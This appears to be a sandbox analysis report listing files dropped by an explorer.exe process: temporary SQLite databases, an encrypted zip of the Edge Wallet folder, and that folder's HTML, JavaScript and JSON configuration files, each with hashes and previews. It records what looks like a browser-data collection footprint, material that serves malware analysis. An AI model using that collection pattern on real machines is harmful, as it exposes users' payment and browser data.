File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CA26.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CB6F.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D700.zip

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4617240
Entropy (8bit):	7.998473034600968
Encrypted:	true
SSDEEP:	98304:zgETyEfTDRhXxx1nCbxWOYGC6bGrDUK3YBNltU7G2l3TJNnQC1:/fTDXxx2B0UK97JtNnj
MD5:	721A567C2E0250F6216B839C7313AA6C
SHA1:	7EF9527C7F1395F0A2C9EC67B3BA2DB8ECC0C332
SHA-256:	32A6ABD65A8EFAF6B9C1B475C8A7F0AE5049A2328842B89BF886E108E8BB144F
SHA-512:	7A65865B34307823081EF2563B792F2831BD7BA27D5676F69605F66F164429C2760596DB779990CF52DD4D916AB5DB72C99A8E0710C9DB56AF0A80F34CDE5E9A
Malicious:	false
Preview:	PK..........=W................C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json...r...}.O.c_...........I..x..AJ..../....L.....9p....UYYU.......w..6.b....]..........}...W.{^.....?[..v...9...e...O.../..=w....tK.`...?...fz.o?V...v....6...sw...}.......?.C{.......x../...=._..l..C......\|...C.....fq.4.eg/l...Z7.e;..0h.k.w.....O_.l.e7\z^8..f./..L..}....>...e...O.k..Cs:..om.........[..C._w.v.........rn....X4...v<...~...n....mX.......N.r..auX...y..v....rx.....veK.:ur1..3.>..}.[7...n.~..E......^.m..`./,..`C.`Uw...9/...u.....a..mj.....=.v.e.l^..=.n.E.....z..&.........#q.}..S...V>]..`...\..4..m.......o....{p...f>..E{fHY..}.:..m..aq.Y.....mb.t..>!.......!K.E.l6v:,t.hu..^t.U......<....2..;.n.....l.m...TC.j....Y.-;`..s.o.m.%.H..{..[].?.Z..<_.o..,...g]..q.n\w.v.g6s...\..{?..=.j...W#..8.T.=...Y[..qi...Ks[4...ER...>...%.....- ...Z_..v.8...,..'3M.....>.w..q.

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\mini-wallet.html

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	HTML document, ASCII text, with very long lines (506)
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.271192944455372
Encrypted:	false
SSDEEP:	24:0c1HjWxXqxVWtXqxVg+vIuB0JDPPM2zWCPFwKhqFTA7v0KNA5qFNq6W4qA7BfnR8:0+Hq5qJYDPPZPF/Y6bDXqAtfhhH94Yhu
MD5:	5CA69BAAF837E965239677997944A95F
SHA1:	C17D7BE904F349E903DE787D4837724DD3FFB705
SHA-256:	96591346DA6F8CBA32C10B2FFA6F5F3851B696EFDC800767A51CAF882523A177
SHA-512:	C9549A4062FD3144D5EC91BACC95901DE944135484ABE15F6AB773050CD279656D9E53F47B7466EE09822D11AC1F4C3356A7B0DC311531359354355FFA95B42A
Malicious:	false
Preview:	<!doctype html><html dir="$i18n{textdirection}" lang="$i18n{language}"><head><meta charset="utf-8"><meta version="39855961/20314 - 2023-09-29T14:48:20.320Z"><title>Mini Wallet</title><script defer="defer" src="/base-error-reporting.js"></script><script defer="defer" src="/wallet-error-reporting.js"></script><script src="chrome://resources/js/load_time_data.m.js" type="module"></script><script src="/strings.m.js" type="module"></script><style>/* Copyright (C) Microsoft Corporation. All rights reserved.. * Use of this source code is governed by a BSD-style license that can be. * found in the LICENSE file. */..body {. font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;. font-size: 14px;. background-color: rgb(247, 247, 247);. margin: 0;.}..@media (forced-colors:none) {. input::selection {. color: #FFF;. background: #0078D4;. }.}..@media (prefers-color-scheme: dark) {. body {. background-c

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text, with very long lines (65461)
Category:	dropped
Size (bytes):	362915
Entropy (8bit):	5.641237841074662
Encrypted:	false
SSDEEP:	6144:2lucRdGqvLVgb+AEWKLeUFMrY3MWf9FE5PdwGvPJvUcr2GLA:lqveSryIMrY3M49OZqcrVs
MD5:	B717DBE5C65A167F15592CF7B5D69C40
SHA1:	12E83938CD956A85F0E801954019F5813E13C139
SHA-256:	36BD69A27956283AC59CEC3A9C6B843A6EC426FC9C4BFEB2BE849E46DECE2F29
SHA-512:	1FFE0ABED1C1B5CDA4E087F681BCC47F06288D79FD593D5ADA5EC4378D17B87BCB03369298C79EA2C074C9D54C7AE1226F0BFFABE5F3D785518476B616006B1D
Malicious:	false
Preview:	/! For license information please see miniwallet.bundle.js.LICENSE.txt /.(()=>{"use strict";var e={533:e=>{var t=Object.getOwnPropertySymbols,i=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;function o(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},i=0;i<10;i++)t["_"+String.fromCharCode(i)]=i;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,n){for(var a,s,l=o(e),c=1;c<arguments.length;c++){for(var d in a=Object(arguments[c]))i.call(a,d)&&(l[d]=a[d]);if(t){s=t(a);for(var u=0;u<s.length;u++)r.call(a,s[u])&&(l[s[u]]=a

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	4.7070549789727645
Encrypted:	false
SSDEEP:	6:U03WiGjs/TdMK1OmFsZ1FD+Dm3Jue9DOFTTgGHYVov10:U3kTHwmiCD6JuoqIfov10
MD5:	9FADCDA30B07120E2CB70B5A003ACFF9
SHA1:	A4EB198C6AE011CFB495A25D7C04B62FDD1D0346
SHA-256:	63EC623C2BDA74FC3E3D2796151FFE93255E8BD76B2D8BDFE2EA0B401848B15F
SHA-512:	E34A8BCE98AC7EEEB3416A9D2E8F331181A25E06467AA211AF4A12A88CEF0C5B2678792D03378F888C212EFF6340647AC99F97AA2CADB75C3777527FDDF77552
Malicious:	false
Preview:	/.object-assign.(c) Sindre Sorhus.@license MIT./../** @license React v16.14.0. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text, with very long lines (65458)
Category:	dropped
Size (bytes):	1394663
Entropy (8bit):	5.568332601544202
Encrypted:	false
SSDEEP:	24576:X6cIyB2Fx2Mr+Y2mHDvpttZwJbhTJrSK4VPYOI+AmOkmMOkxhdlrw+QsjZIQi6SI:X6cIyB2Fx2MrPbDvpttZwJbhTJrSK4VJ
MD5:	766E13C5EB1DC68F700EC491E912DF8A
SHA1:	94103276DECE118BE7182D565FFDB64A60452364
SHA-256:	223DCDC8779A51D6D07C349B7AA30B920D1C44834C17EA75E26C855A6FCECD3B
SHA-512:	A48F08DFCC53BC953C8C7E35E7FA587AFC09C90E806F0049C0F6684C543006554EBDDF0F4CB329E89823309CE0D41F7C202D7B9D2FA7025BE8A98853DAB6BF9E
Malicious:	false
Preview:	/! For license information please see wallet-drawer.bundle.js.LICENSE.txt /.(()=>{var e,t,r,n,o,a,i,l,s={62928:function(e,t,r){var n;"undefined"!=typeof self&&self,n=function(e){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};retu

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1794
Entropy (8bit):	4.843900190800991
Encrypted:	false
SSDEEP:	24:B9iDk8YzW0Tk3NtkiYi7oVwuwBA4uoqIfy+wBA4uoqIfyCwBA4uoqIfyrwBA4uoT:GD6xTmtUWIAfyIAfEIAflIAff
MD5:	DF3D44AC0E39EB1CA9318D0F07F746E2
SHA1:	7F6B92AC0574C3287C16FC7B49B9E0356FA7882B
SHA-256:	BA149E358C97FFDF1CB5B9E26D6A9D0F3E19A7692F306B0C87118AEFECE40A21
SHA-512:	0C8AE3D4FEC2227464F0DF6D5667EA9E62FB20BA876C5B80ECFB5DB3E76AF42EA8B8F8C5AB5FC69C141E7E7E3D9840927A15C1FAB64613786C1F9D13B826730C
Malicious:	false
Preview:	/.object-assign.(c) Sindre Sorhus.@license MIT./../!..Copyright (c) 2018 Jed Watson...Licensed under the MIT License (MIT), see..http://jedwatson.github.io/classnames./../!. Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License.. /../. CSS Vendor prefix detection and property feature testing.. . @copyright Oleg Slobodskoi 2015. * @website https://github.com/jsstyles/css-vendor. * @license MIT. /../. @license. * Lodash <https://lodash.com/>. * Copyright OpenJS Foundation and other contributors <https://openjsf.org/>. * Released under MIT license <https://lodash.com/license>. * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>. * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors. /../* @license React v0.19.1. * scheduler.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICEN

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.html

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	HTML document, ASCII text, with very long lines (589)
Category:	dropped
Size (bytes):	1878
Entropy (8bit):	5.224434099079608
Encrypted:	false
SSDEEP:	48:0+KbicYkYDPPZPF/Y6bDXqAtfu2YvywpyNhiG5Biu:HJkYDHL/Y6bTqif/Y6bNhiNu
MD5:	BF04B54F7B88E9110E3C68B727C5BE0F
SHA1:	7669103AFC426A829A3BA405C5ADE227C1EB2319
SHA-256:	1F28EE5F31140BCB2B1F48C33D645E3B8D028D3C692B85893BB6E36A013E108E
SHA-512:	4DFFDEF0646382967E079A2A80EBEEF4B96992A99C488FC56ED5CA48D76971832F65BF72CEBCFB0CCF4B2CFCB67ECDD48CC55D7BAD42FB78314DAC1CED2CF3BC
Malicious:	false
Preview:	<!doctype html><html dir="$i18n{textdirection}" lang="$i18n{language}"><head><meta charset="utf-8"><meta version="39556161/20314 - 2023-09-19T07:33:23.720Z"><title>Wallet Express Checkout</title><script src="/app-setup.js"></script><script src="/base-error-reporting.js"></script><script src="/wallet-error-reporting.js"></script><script src="chrome://resources/js/load_time_data.m.js" type="module"></script><script src="/strings.m.js" type="module"></script><script src="./load-ec-i18n.bundle.js" type="module"></script><style>/* Copyright (C) Microsoft Corporation. All rights reserved.. * Use of this source code is governed by a BSD-style license that can be. * found in the LICENSE file. */..body {. font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;. font-size: 14px;. background-color: rgb(247, 247, 247);. margin: 0;.}..@media (forced-colors:none) {. input::selection {. color: #FFF;. backgrou

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	148293
Entropy (8bit):	3.883764865191623
Encrypted:	false
SSDEEP:	1536:QW55kRm55yQjL5BsAEiL/M+w4iRFc39bmvgvnZFSV0xFZo5d9j6m0P5msBfFV+45:QUOuKvMIG0Q15uo
MD5:	DB6D2A23747DD4AF1CB85A23DFDB773F
SHA1:	7A27AF150C82DDE8AD968080E4DC4EABE7D595AB
SHA-256:	98D2120E386148106F64F2D5C65F9CBC53C6F844429DE8446F3096E97B2BBB9B
SHA-512:	E9F749D06D3D9295F94F7119EBF78BD012831A2FE5786D06A84A65D70F8B9DFAF3E80808BB6A4C1982283F47E5F0E5C4A844DCC8B7C952434EAD3729FD89A272
Malicious:	false
Preview:	{. "eligible_sites": [. "alexandani.com",. "manitobaharvest.com",. "alphamarts.com",. "thrivecausemetics.com",. "fashionnova.com",. "32degrees.com",. "22daysnutrition.com",. "4moms.com",. "525america.com",. "7point62design.com",. "89thandmadison.com",. "9five.com",. "secure.abugarcia.com",. "activefaithsports.com",. "adika.com",. "afloral.com",. "agacistore.com",. "agiftpersonalized.com",. "ahlstore.com",. "airocollective.com",. "akademapro.com",. "alen.com",. "all3sports.com",. "aloha.com",. "amalfidecor.com",. "americanmattress.com",. "anbbaby.com",. "annchery.com.co",. "annke.com",. "apeainthepod.com",. "appaman.com",. "asdmbeverlyhills.com",. "atmcollection.com",. "ayurvedicherbsdirect.com",. "babywise.life",. "backdropoutlet.com",

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	511367
Entropy (8bit):	4.176029309359711
Encrypted:	false
SSDEEP:	6144:hQPjhuz14uvgCmWH3+klkfzTOJHYUbHG+FZ8QTHNGs5AeCc:4tKH6bfoGQ8+eer
MD5:	D8E3873FF6EF3896A95B8295E3BC1ADF
SHA1:	E86D59201F29CD7B7591CCC2CB0832B2E60305D5
SHA-256:	22B903D55F643E384F7A09C67A659DA7A86FD409DD1C5439B712B9735D748BAF
SHA-512:	70ACE9B563FF2F6B50415EC0F2E6824B369879E9A84699B78FF764D5FF7F91CE5521ADD770ED2740D582FD801FE2E12A5F68212B78ECD2D7FDA849A516739786
Malicious:	false
Preview:	{. "eligible_sites": [. "alexandani.com". ],. "bgaa_eligible_sites": [. "fashionnova.com". ],. "deep_autofill_sites": [. "lifeisgood.com". ],. "deep_autofill_sites_config": {. "default": [. "lifeisgood.com". ],. "selfhost": [. "nationalcar.com". ]. },. "expansion_sites": {. "default": [. "expedia.com". ],. "se2_patch": [. "hotels.com". ]. },. "billing_address_first_sites": [. "pay.openai.com". ],. "extra_sites": {. "4th_extra_sites": [],. "recovery_sites": [. "easyjet.com". ]. },. "globalization_sites": [. "pay.ebay.de". ],. "coupons_disallowed_sites": [. "hexclad.com",. "store.ui.com",. "omahasteaks.com",. "cart.hostinger.com",. "aliexpress.com",. "winecountrygiftbaskets.com",. "discountmugs.com",. "secure.booking.c

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-notification-config.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.712288740160571
Encrypted:	false
SSDEEP:	12:AVYNAYLEHCU/IaYeg7BHjg0C1/oOZO5OmS2YdSui8C/FtJp/FJL4nJL4r:sYdCC0ICgNHjg7iOZO5OmSnS82FtzFJl
MD5:	89AF93724226AEE6FCF672F1AEE1A738
SHA1:	2F188E2FB26CD1C3E3A669E78A4B439A8006CBE3
SHA-256:	654AEBC5EF8B3FE48E9D4CFD2634B7DE5172C5AAF309136381347AAB3850DD1D
SHA-512:	E1C87CAA76652377825301CDA123AB59AF7CF73D60E54A8F77FC1782333BE21FBCE146EDCCA1B992FC6613970C216282DFB96B9A9C0BA3E75FBFA7BB6CFB381B
Malicious:	false
Preview:	{. "eligible_types": [. "CardExpired",. "CardExpiring",. "PasswordLeakage",. "PersonalizedOffersAvailable",. "UpcomingHotelReservations",. "SignupCryptoWallet",. "CardTokenizationEligible",. "FeaturePromotion",. "DonationSummary",. "RoamCard",. "PackageTracking",. "Rebates". ],. "snooze_time_in_hour": 168,. "refresh_time_in_hour": 12,. "rotate_time_in_hour": 12,. "notification_build_time_after_start_up_in_second": 60,. "card_expired_evaluation_in_months": 1,. "feature_promotion_notification_config": {. },. "account_config": {. "CardExpired": {. "AAD": false,. "Profile": false. },. "CardExpiring": {. "AAD": false,. "Profile": false. }. }.}.

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2333505
Entropy (8bit):	4.1160651167114075
Encrypted:	false
SSDEEP:	49152:aYFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEb:5
MD5:	545D2B1151BBE0470732A5EC71ABCD3B
SHA1:	0B58343060A3BA011D72EE42EE2FEA620FF6F0B5
SHA-256:	5FD4740C0728516AF8207E28FF02298CCFBC8E591E231B239D3F6324263000F8
SHA-512:	86971C4A74B78BC7A1618FBD9B9A50E006ED5921C3BB4660AB4D4FC89A16984DADB614B71FFE42208676A3D6B882E959A72125A684D31F789E26ADA01363491F
Malicious:	false
Preview:	{. "providers": {. "min_shopping_component_version": "2.0.0.1471",. "zip_pay": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 1000,. "number_of_payments": 4,. "duration": 6,. "days_to_first_payment": 0,. "is_enabled": true,. "eligible_sites": [],. "ineligible_sites": [. "affirm.com",. "klarna.com",. "sams.com",. "samsclub.com",. "walmart.com",. "zip.co". ],. "allowed_domains_native": [. "edge://wallet-extra". ],. "allowed_domains_full": [. "quadpayasserts.blob.core.windows.net",. "maps.googleapis.com",. "maps.gstatic.com". ],. "allowed_domains_root": [. "quadpay.com",. "zip.co",. "quadpay.xyz",. "stripe.com",. "datadoghq.com",. "optimizely.com",. "segment.com". ]. },. "klarna": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 5000,. "

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2333505
Entropy (8bit):	4.1160651167114075
Encrypted:	false
SSDEEP:	49152:yYFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEb:h
MD5:	B5E29F86A7ACBDD0EDE545049C1DDEE8
SHA1:	44E139BA78BBCDC6951E39DE2476653CC656B1E4
SHA-256:	CA532B6E7F494987DDF00E52857A3859F77B225FA8D4BD9F708E40D29138C383
SHA-512:	72DC3428AF2DE97BFB06AC4B92AA137D9532903A99ACA50D862EA375907D9C45CE8A980429A7BACEAD8F50470EEF77AAEAEE3BEA63D45B7E62CC16540E83723A
Malicious:	false
Preview:	{. "providers": {. "min_shopping_component_version": "2.0.0.1471",. "zip_pay": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 1000,. "number_of_payments": 4,. "duration": 6,. "days_to_first_payment": 0,. "is_enabled": true,. "eligible_sites": [],. "ineligible_sites": [. "affirm.com",. "klarna.com",. "sams.com",. "samsclub.com",. "walmart.com",. "zip.co". ],. "allowed_domains_native": [. "edge://wallet-extra". ],. "allowed_domains_full": [. "quadpayasserts.blob.core.windows.net",. "maps.googleapis.com",. "maps.gstatic.com". ],. "allowed_domains_root": [. "quadpay.com",. "zip.co",. "quadpay.xyz",. "stripe.com",. "datadoghq.com",. "optimizely.com",. "segment.com". ]. },. "klarna": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 5000,. "

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24248
Entropy (8bit):	3.4164368811372614
Encrypted:	false
SSDEEP:	192:0IeMXlcNhErDo1yGI+MmsMR6Q9GMKPrZnfB4FXZ8N:XNXlcNSrD83I+B9wC0
MD5:	634323483C6BF97F0D946912B3452604
SHA1:	BD41635B68E90DB709CC328307EA19D561B9B92B
SHA-256:	CCC9802D871B81D34CE2433865FF817DBED0DCD4D8B1B4C1746D03DAB714E185
SHA-512:	BD069F141BD0D65430365B088CA5D0F33BF96EA0D5D0B8236657A60964705366F852E7D9813D56571DF00423668A023162F6C6CE4FA9B4CFAD5BC4629DB95DB0
Malicious:	false
Preview:	{. "providers": {. "visa": {. "eligible_sites": [. "microsoft.com",. "skype.com",. "github.com",. "linkedin.com",. "minecraft.net",. "xbox.com". ],. "ineligible_sites": [],. "eligible_bins": []. },. "mastercard": {. "eligible_sites": [],. "ineligible_sites": [. "acornonline.com",. "aladdinbroadwaymerchandise.com",. "alamo.com",. "allposters.com",. "alaskaair.com",. "allswellhome.com",. "arbys.com",. "art.com",. "autozone.com",. "basbleu.com",. "baskinrobbins.com",. "bbhosted.com",. "beenverified.com",. "bestbuy.com",. "bestbuybusiness.com",. "bloomingdales.com",. "bonobos.com",. "buffalowildwings.com",. "bumper.com",. "carrentals.com",. "carters.com",. "caseys.com",. "catalogclassicsvipinsider.com",. "cfr.org",. "classicvacations.com

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-crypto.html

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	HTML document, ASCII text, with very long lines (560)
Category:	dropped
Size (bytes):	2016
Entropy (8bit):	5.2326275607435475
Encrypted:	false
SSDEEP:	48:0+HmvJYDPPZPF/Y6bDXqAtfvywprAGPytsyQDgAg8CgMgsu:HHiYDHL/Y6bTqif6OPN/+hTu
MD5:	81DF34766617144867F4AA3ABF8688FA
SHA1:	ACEE23B633CBFC9148C777293227C71D153F8DC4
SHA-256:	8CA6D41A47EC7C47D924373EB7B612B5AE01CEBA4CE2947427D97C7A0C345CB9
SHA-512:	022DAFA520DD4AC9C3CA75E3F1399D587132B272DA85DEA0DDCB844801E315777D4314035EAEE8459073D38911B321AA26BEF8A13F79115C5FE095983D057D7C
Malicious:	false
Preview:	<!doctype html><html dir="$i18n{textdirection}" lang="$i18n{language}"><head><meta charset="utf-8"><meta version="39855961/20314 - 2023-09-29T14:49:55.553Z"><title>Wallet</title><script src="/app-setup.js"></script><script src="/base-error-reporting.js"></script><script src="/wallet-error-reporting.js"></script><link rel="manifest" href="/manifest.webapp.json"><script src="chrome://resources/js/load_time_data.m.js" type="module"></script><script src="/strings.m.js" type="module"></script><style>/* Copyright (C) Microsoft Corporation. All rights reserved.. * Use of this source code is governed by a BSD-style license that can be. * found in the LICENSE file. */..body {. font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;. font-size: 14px;. background-color: rgb(247, 247, 247);. margin: 0;.}..@media (forced-colors:none) {. input::selection {. color: #FFF;. background: #0078D4;. }.}..@media (p

C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1718
Entropy (8bit):	6.021574592767348
Encrypted:	false
SSDEEP:	48:cyKfNbMj9s2LEAiB5Fz5u3DrSpjZdkiREU8d/s:1Kf9WLIrz5uoNyied/s
MD5:	09973C50DD24D45F25F51B622B577C8C
SHA1:	DFB080015E8375C9DCAFF66A7A8E02D585ED1A9B
SHA-256:	51888AFEC19654824E8C4A0293E64319E2D6DF59440D3CE20877BAC2D6404D90
SHA-512:	A06A56D7103136BEEC1B83D7BF8CC3148540582A15176470ABFDA83805E0CA0E349BD10A5718D0775F2708234F71DFFC76077F2C4FCB28AEB9A91B1F676022A2
Malicious:	false
